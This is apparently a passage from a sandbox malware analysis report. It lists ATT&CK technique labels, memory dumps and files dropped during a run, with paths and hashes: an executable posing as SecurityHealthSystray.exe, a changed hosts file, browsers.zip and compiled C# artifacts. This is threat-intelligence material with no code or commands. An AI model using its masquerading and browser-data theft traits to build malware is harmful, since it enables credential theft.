              T1005

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              77EC63BDA74BD0D0E0426DC8F8008506
              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
              • Size 78KB
              • SHA256 778412b81d2d1b42a8394bd7920506224afb565e1159933f7366fed1fcc7891c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              77EC63BDA74BD0D0E0426DC8F8008506
              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
              • Size 330B
              • SHA256 5b1410b2d57c5eeb892a4726777c465edca7d5348ccb0a1912b1780d913d4cab
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              77EC63BDA74BD0D0E0426DC8F8008506
              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
              • Size 330B
              • SHA256 34a51f71a6ab857d01eaef244abfc3cc1cf54623944806c8d86cb27b773a073a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 dc2947e3bcf8d52e027b9e9fdd90ae15687bc3bb0375d8c2633000f0d8b827f0
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              0ip1pn5y.dll
              • Path C:\Users\Admin\AppData\Local\Temp\0ip1pn5y\0ip1pn5y.dll
              • Size 4KB
              • SHA256 e91c54fcd3c6c4db0a85a91a00cce134750c0485723ef8d2f4e6c58ad5d43c12
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Display (1).png
              • Path C:\Users\Admin\AppData\Local\Temp\G0rXdUMwbM\Display (1).png
              • Size 541KB
              • SHA256 ce5f2e9c076dd9c40777d935de20bac5996ac62c2e84015e3bf3128b7679f64a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              RES8EAA.tmp
              • Path C:\Users\Admin\AppData\Local\Temp\RES8EAA.tmp
              • Size 1KB
              • SHA256 628a9e374a5b13d242851400351d21da2d6a4c7411741c6766bb64042ce1b3c4
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_1vxo5ids.f3n.psm1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1vxo5ids.f3n.psm1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              browsers.zip
              • Path C:\Users\Admin\AppData\Local\Temp\browsers.zip
              • Size 22B
              • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
              • MD5 SHA1 SHA512
              Submit Download

              SecurityHealthSystray.exe
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              • Size 10.5MB
              • SHA256 a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              hosts
              • Path C:\Windows\System32\drivers\etc\hosts
              • Size 2KB
              • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              0ip1pn5y.0.cs
              • Path \??\c:\Users\Admin\AppData\Local\Temp\0ip1pn5y\0ip1pn5y.0.cs
              • Size 1004B
              • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              0ip1pn5y.cmdline
              • Path \??\c:\Users\Admin\AppData\Local\Temp\0ip1pn5y\0ip1pn5y.cmdline
              • Size 607B
              • SHA256 18e22147985f9a5543ac967965cd4dc8b923ebbdf30ac551f0be1f5cc8bea762
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              CSC4B2EBEF665AC4BA6BB3DC23E73F3DAE1.TMP
              • Path \??\c:\Users\Admin\AppData\Local\Temp\0ip1pn5y\CSC4B2EBEF665AC4BA6BB3DC23E73F3DAE1.TMP
              • Size 652B
              • SHA256 f003a2bacf123bfad13be2e70c54a239cac843b23bbe9ac0e746690b26ae8364
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/5340-36-0x0000014637540000-0x00000146375F2000-memory.dmp
              Download

              memory/5588-19-0x000001EEF41E0000-0x000001EEF41EA000-memory.dmp
              Download

              memory/5588-17-0x000001EEF4100000-0x000001EEF411E000-memory.dmp
              Download

              memory/5588-18-0x000001EEF4120000-0x000001EEF41D2000-memory.dmp
              Download

              memory/5588-12-0x000001EEF3E60000-0x000001EEF3E82000-memory.dmp
              Download

              memory/5860-60-0x00000277606E0000-0x00000277606E8000-memory.dmp
              Download